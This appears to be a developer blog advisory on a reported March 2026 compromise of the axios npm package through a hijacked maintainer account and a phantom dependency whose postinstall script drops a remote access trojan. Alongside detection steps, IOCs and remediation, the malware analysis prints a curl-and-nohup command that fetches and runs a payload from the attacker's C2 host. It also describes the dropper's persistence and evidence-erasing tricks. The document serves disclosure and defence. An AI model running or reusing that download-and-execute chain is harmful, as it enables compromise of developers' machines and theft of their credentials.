TL;DR —
axios@1.14.1andaxios@0.30.4were compromised on March 31, 2026. A hijacked maintainer account published malicious versions that silently install a Remote Access Trojan on macOS, Windows, and Linux — and self-destruct to avoid detection. If you rannpm installin the last 24 hours, check your system NOW.
The Package That Powers the Internet Just Got Weaponized
axios has over 100 million weekly downloads. It's in nearly every JavaScript project on the planet — startups, enterprises, open source foundations, CI pipelines, and developer laptops. On the morning of March 31, 2026, two versions of it became weapons.
This wasn't a theoretical supply chain vulnerability. It was a live, operational attack. A cross-platform Remote Access Trojan was delivered to real developer machines. And the most terrifying part? npm audit shows nothing. npm list reports a clean version number. The malware self-destructs after running.
This article walks you through exactly what happened, how the attack technically works, how to check if you're compromised, and what permanent changes you should make to your workflow.
What Happened — The Attack Timeline
The operation was pre-staged 18 hours in advance. This was not opportunistic. Every artifact was purpose-built.
| Timestamp (UTC) | Event |
|---|---|
| Mar 30 · 05:57 |
plain-crypto-js@4.2.0 published — a clean decoy to establish publishing history |
| Mar 30 · 23:59 |
plain-crypto-js@4.2.1 published — the malicious payload added |
| Mar 31 · 00:21 |
axios@1.14.1 published via hijacked jasonsaayman account |
| Mar 31 · 01:00 |
axios@0.30.4 published — legacy 0.x branch also poisoned |
| Mar 31 · ~03:15 | npm unpublishes both malicious versions. latest reverts to 1.14.0
|
| Mar 31 · 03:25 | npm initiates security hold on plain-crypto-js
|
| Mar 31 · 04:26 | npm publishes security-holder stub plain-crypto-js@0.0.1-security.0
|
Both poisoned releases were live for less than 3 hours. But 3 hours is more than enough time with 100M weekly downloads.
Step 1 — Account Hijack: The Entry Point
The attacker compromised the jasonsaayman npm account — the primary maintainer of axios. The account's registered email was changed to an attacker-controlled ProtonMail address: ifstap@proton.me.
Here's what makes this forensically detectable. Every legitimate axios 1.x release uses npm's OIDC Trusted Publisher mechanism — cryptographically tied to a verified GitHub Actions workflow. The malicious 1.14.1 breaks that pattern entirely:
// axios@1.14.0 — LEGITIMATE
"_npmUser": {
"name": "GitHub Actions",
"email": "npm-oidc-no-reply@github.com",
"trustedPublisher": {
"id": "github",
"oidcConfigId": "oidc:9061ef30-3132-49f4-b28c-9338d192a1a9"
}
}
// axios@1.14.1 — MALICIOUS
"_npmUser": {
"name": "jasonsaayman",
"email": "ifstap@proton.me"
// No trustedPublisher. No gitHead. No corresponding GitHub commit or tag.
}
There is no commit, no tag, no release in the axios GitHub repository corresponding to 1.14.1. The release exists only on npm. The attacker used a stolen long-lived classic npm access token — not the ephemeral OIDC token used by legitimate CI releases.
Step 2 — The Fake Dependency: plain-crypto-js@4.2.1
The actual malware was not inside axios. It was delivered through a phantom dependency.
The attacker added plain-crypto-js: "^4.2.1" to axios's package.json. This package — which never appears in any legitimate axios version — masquerades as the well-known crypto-js library. It clones all 56 source files bit-for-bit from the real crypto-js@4.2.0, making diff-based analysis find nothing suspicious.
The entire difference between the decoy (4.2.0) and the weapon (4.2.1) is three files:
| File | In 4.2.0 | In 4.2.1 |
|---|---|---|
package.json |
No scripts section |
"postinstall": "node setup.js" added |
setup.js |
Not present | 4.2 KB obfuscated RAT dropper |
package.md |
Not present | Clean JSON stub for evidence destruction |
The dependency injection diff in axios is equally surgical — exactly one file changed between 1.14.0 and 1.14.1:
# axios/package.json
- "version": "1.14.0",
+ "version": "1.14.1",
"dependencies": {
"follow-redirects": "^2.1.0",
"form-data": "^4.0.1",
"proxy-from-env": "^2.0.0",
+ "plain-crypto-js": "^4.2.1"
}
A grep across all 86 files in axios@1.14.1 confirms: plain-crypto-js is never imported or required anywhere in the axios source. Its only purpose is to trigger the postinstall hook.
Step 3 — The RAT Dropper: setup.js
setup.js is a minified, obfuscated Node.js file. All sensitive strings — module names, OS identifiers, the C2 URL, shell commands — are stored encoded in an array and decoded at runtime using a two-layer scheme: a XOR cipher followed by base64 decode with string reversal.
Once decoded, the dropper's logic is straightforward and terrifying.
The C2 Server
http://sfrclak.com:8000/6202033
The 6202033 is a campaign tracking ID. The attacker receives separate callbacks per OS using distinct POST bodies:
- macOS →
packages.npm.org/product0 - Windows →
packages.npm.org/product1 - Linux →
packages.npm.org/product2
The packages.npm.org/ prefix is deliberate — it mimics legitimate npm registry traffic in network logs and SIEMs.
Platform-Specific Payloads
macOS — Writes an AppleScript to /tmp/6202033, executes it via nohup osascript, which downloads the RAT binary to /Library/Caches/com.apple.act.mond (named to mimic an Apple system daemon), makes it executable, and launches it via /bin/zsh. The script self-deletes.
Windows — Locates PowerShell via where powershell, copies it to %PROGRAMDATA%\wt.exe (disguised as Windows Terminal), writes a VBScript to temp, executes it via cscript //nologo in a hidden window. The VBScript fetches a PowerShell stage-2 payload and self-deletes. %PROGRAMDATA%\wt.exe persists across reinstalls — this is the Windows persistence mechanism.
Linux — Direct curl + Python chain:
curl -o /tmp/ld.py -d packages.npm.org/product2 -s http://sfrclak.com:8000/6202033 \
&& nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 &
The Execution Speed
The C2 contact happens 2 seconds into npm install — before npm has finished resolving all dependencies. The nohup process then persists as a detached daemon (re-parented to PID 1) that continues running in subsequent workflow steps, long after npm completes.
Anti-Forensics: The Evidence Swap
After launching the platform payload, setup.js performs three cleanup steps:
-
Deletes itself —
fs.unlink(__filename) -
Deletes
package.json— removes the file containing"postinstall": "node setup.js" -
Renames
package.md→package.json— installs the pre-staged clean stub
The clean stub reports version 4.2.0 — not 4.2.1. So after infection:
$ npm list plain-crypto-js
myproject@1.0.0
└── plain-crypto-js@4.2.0 # ← reports 4.2.0, not 4.2.1. The dropper already ran.
Post-infection, npm audit is clean. npm list looks clean. The only forensic artifact is the existence of the node_modules/plain-crypto-js/ directory — because this package is not a dependency of any legitimate axios version. Its presence alone is proof of compromise.
Am I Affected? — Check Right Now
Run these commands in every project that uses axios:
Step 1 — Check for malicious axios versions
npm list axios 2>/dev/null | grep -E "1\.14\.1|0\.30\.4"
grep -A1 '"axios"' package-lock.json | grep -E "1\.14\.1|0\.30\.4"
Step 2 — Check for the dropper directory
ls node_modules/plain-crypto-js 2>/dev/null && echo "⚠️ POTENTIALLY COMPROMISED"
If this directory exists at all, the dropper ran. The version number inside is unreliable — it was replaced with a clean stub.
Step 3 — Check for RAT artifacts
# macOS
ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo "🚨 COMPROMISED"
# Linux
ls -la /tmp/ld.py 2>/dev/null && echo "🚨 COMPROMISED"
# Windows (cmd.exe)
dir "%PROGRAMDATA%\wt.exe" 2>nul && echo COMPROMISED
Step 4 — Check your CI/CD history
Review any pipeline logs for npm install runs between March 31 00:21 UTC and March 31 03:15 UTC. Any pipeline that installed axios@1.14.1 or axios@0.30.4 should be treated as compromised and all injected secrets rotated immediately.
Remediation — Step by Step
1. Downgrade to a safe version and pin it
# For 1.x users
npm install axios@1.14.0
# For 0.x users
npm install axios@0.30.3
2. Lock it with overrides to prevent transitive re-resolution
{
"dependencies": { "axios": "1.14.0" },
"overrides": { "axios": "1.14.0" },
"resolutions": { "axios": "1.14.0" }
}
3. Remove the malicious package and reinstall clean
rm -rf node_modules/plain-crypto-js
npm install --ignore-scripts
4. If RAT artifacts found — treat as full system compromise
Do not attempt to clean in place. Rebuild from a known-good state and rotate all credentials that were accessible on that system:
- npm tokens
- AWS / GCP / Azure access keys
- SSH private keys
- GitHub personal access tokens
- All
.envfile secrets - CI/CD pipeline secrets
5. Block the C2 domain at the network level
# Linux — firewall block
iptables -A OUTPUT -d 142.11.206.73 -j DROP
# macOS/Linux — hosts file block
echo "0.0.0.0 sfrclak.com" >> /etc/hosts
Indicators of Compromise (IOCs)
Malicious npm Packages
| Package | Version | SHA |
|---|---|---|
| axios | 1.14.1 | 2553649f232204966871cea80a5d0d6adc700ca |
| axios | 0.30.4 | d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71 |
| plain-crypto-js | 4.2.1 | 07d889e2dadce6f3910dcbc253317d28ca61c766 |
Network IOCs
| Indicator | Value |
|---|---|
| C2 domain | sfrclak.com |
| C2 IP | 142.11.206.73 |
| C2 URL | http://sfrclak.com:8000/6202033 |
File System IOCs
| Platform | Path |
|---|---|
| macOS | /Library/Caches/com.apple.act.mond |
| Windows (persistent) | %PROGRAMDATA%\wt.exe |
| Windows (temp) |
%TEMP%\6202033.vbs, %TEMP%\6202033.ps1
|
| Linux | /tmp/ld.py |
Safe Versions
| Package | Safe Version | SHA |
|---|---|---|
| axios | 1.14.0 | 7c29f4cf2ea91ef05018d5aa5399bf23ed3120eb |
| axios | 0.30.3 | (safe baseline) |
What This Attack Teaches Us About Supply Chain Security
This incident is not just an axios story. It's a blueprint that will be reused.
The threat model has fundamentally shifted
The attacker didn't touch your code. They didn't exploit your application. They compromised a package your app trusts unconditionally. Every npm install is an implicit trust decision — and most teams make that decision dozens of times a day without thinking about it.
npm audit is not enough
npm audit checks for known CVEs in declared dependencies. It cannot detect a phantom dependency injected at the registry level, especially one that self-destructs its own evidence. Audit gives you a false sense of security for this class of attack.
postinstall hooks are the attack surface
The entire kill chain relies on one mechanism: postinstall scripts. npm executes these automatically during npm install. They run with the same permissions as the process that invoked npm — which on a developer machine often means full user-level access to credentials, SSH keys, and cloud tokens.
The permanent fix: --ignore-scripts in CI
# In your CI pipeline — add this permanently
npm ci --ignore-scripts
This prevents ALL postinstall, preinstall, and lifecycle scripts from running during automated builds. For most production CI pipelines, you don't need these hooks — and disabling them eliminates the entire attack surface this incident exploited.
Trade-off: Some packages (native modules, Puppeteer, etc.) require
postinstallscripts. Audit your dependencies and re-enable specific ones if required.
Prefer OIDC Trusted Publishing over long-lived tokens
The attacker used a stolen long-lived npm access token. The legitimate axios releases used OIDC ephemeral tokens tied to specific GitHub Actions workflows — tokens that cannot be stolen because they expire after a single use.
If you publish packages to npm, configure Trusted Publishing. It makes this exact attack vector impossible.
Lock your dependencies — actually lock them
# Commit your lockfile. Always.
git add package-lock.json
git commit -m "chore: update lockfile"
# Use npm ci in production, not npm install
npm ci # Respects lockfile exactly. No surprise resolutions.
npm install can resolve to a newer patch version if your semver range allows it. npm ci installs exactly what's in the lockfile. The malicious axios@1.14.1 would have been caught by a lockfile that pinned 1.14.0.
The Broader Picture: This Is Becoming Normal
This is among the most operationally sophisticated supply chain attacks documented against a top-10 npm package. Three OS payloads pre-built. A decoy package published 18 hours early to establish publishing history. A version number spoofing trick in the self-destruct routine. C2 traffic disguised as npm registry communication.
But the playbook itself is not new. We've seen it in event-stream (2018), ua-parser-js (2021), node-ipc (2022), and now axios (2026). Each attack is more sophisticated than the last.
The JavaScript ecosystem's open publishing model is its greatest strength and its greatest liability. Anyone can publish. Maintainers burn out and sell or lose access to their accounts. A package with 100 million weekly downloads can be weaponized in minutes.
The question isn't whether this will happen again. It's whether your team will be ready when it does.
Quick Reference Checklist
□ Checked npm list for axios@1.14.1 and axios@0.30.4
□ Checked for node_modules/plain-crypto-js/ directory
□ Checked for platform-specific RAT artifacts
□ Downgraded to axios@1.14.0 / 0.30.3
□ Added "overrides" block to package.json
□ Removed plain-crypto-js from node_modules
□ Reviewed CI/CD pipeline logs for affected time window
□ Rotated all credentials if dropper ran
□ Added --ignore-scripts to CI pipeline
□ Committed and locked package-lock.json
□ Blocked sfrclak.com at network/DNS level
Resources
- GitHub Issue #10604 — axios/axios
- StepSecurity Full Technical Analysis
- StepSecurity OSS Security Feed — axios@1.14.1
- npm Trusted Publishing Documentation
- npm --ignore-scripts Documentation
Verified and sourced from the official StepSecurity technical analysis published March 31, 2026, and the axios GitHub issue #10604. All IOCs, SHA hashes, timestamps, and code snippets are drawn directly from the primary source investigation.
If this helped you secure your systems, drop a ❤️ and share it with your team. The faster this spreads, the more developers stay protected.
Top comments (0)